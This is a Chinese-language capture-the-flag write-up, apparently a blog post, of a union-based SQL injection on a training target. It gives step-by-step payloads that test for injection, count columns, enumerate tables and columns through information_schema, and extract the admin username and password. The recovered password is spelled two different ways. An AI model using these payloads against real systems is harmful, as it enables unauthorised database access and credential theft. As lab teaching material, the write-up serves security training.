第一章:为了女神小芳!【配套课时:SQL注入攻击原理 实战演练】

夺得flag解题思路

记一次靶场实战演练

1.构造 ?id=1 and 1=1 ,回车
观察页面是否正常
0x1
要是正常,
说明 and 这个参数注入进去被当成SQL语句执行了。
0x2
2.构造 and 1=20x3
页面不正常,初步判断这里可能存在一个注入漏洞
0x4

  • 二、判断字段数

构造 ?id=1 and 1=1 order by 1 回车
0x5
页面返回正常,进行第二步
0x6
构造 ?id=1 and 1=1 order by 2 回车
0x7
页面显示正常,进行第三步
0x8
构造 ?id=1 and 1=1 order by 3 回车
0x9
页面返回 错误,判断字段数为 2(判断字符数只有两个)
1x1

  • 三、判断回显点

构造 ?id=1 and 1=2 union select 1,2 回车
1x2
页面出现了 2 ,说明我们可以在数字 2 处显示我们想要的内容
1x3

  • 四、查询相关内容

查询当前数据库名:
构造 ?id=1 and 1=2 union select 1,database() 回车
1x4
页面回显maoshe
1x5
查询当前数据库版本:
构造 ?id=1 and 1=2 union select 1,version() 回车
1x6
回显版本号为5.5.53
1x7
查询当前数据库 表名:
构造 ?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1 回车
1x8
页面回显admin
1x9
绝大数情况下,管理员的账号密码都在admin表里。

查询字段名:
构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1 回车
2x1
回显字段名为id
2x2

构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1 回车
2x3
回显username
2x4
构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1 回车
2x5
回显password
2x6
查出 admin 表里 有 id username password 三个字段

查询字段内容:
构造 ?id=1 and 1=2 union select 1,username from admin limit 0,1 回车
2x7
回显admin
2x8
构造 ?id=1 and 1=2 union select 1,password from admin limit 1,1 回车
2x9
回显~~~~
limit 1,1 没有回显,说明只有一个用户

构造语句输出账号密码:
?id=1 and 1=2 union select 1,password from admin limit 0,1 回车
3x1
回显hellohack
得到管理员账号和密码为:hellokack
flag
flag
顺利夺得flag

最后修改:2020 年 09 月 02 日 10 : 46 PM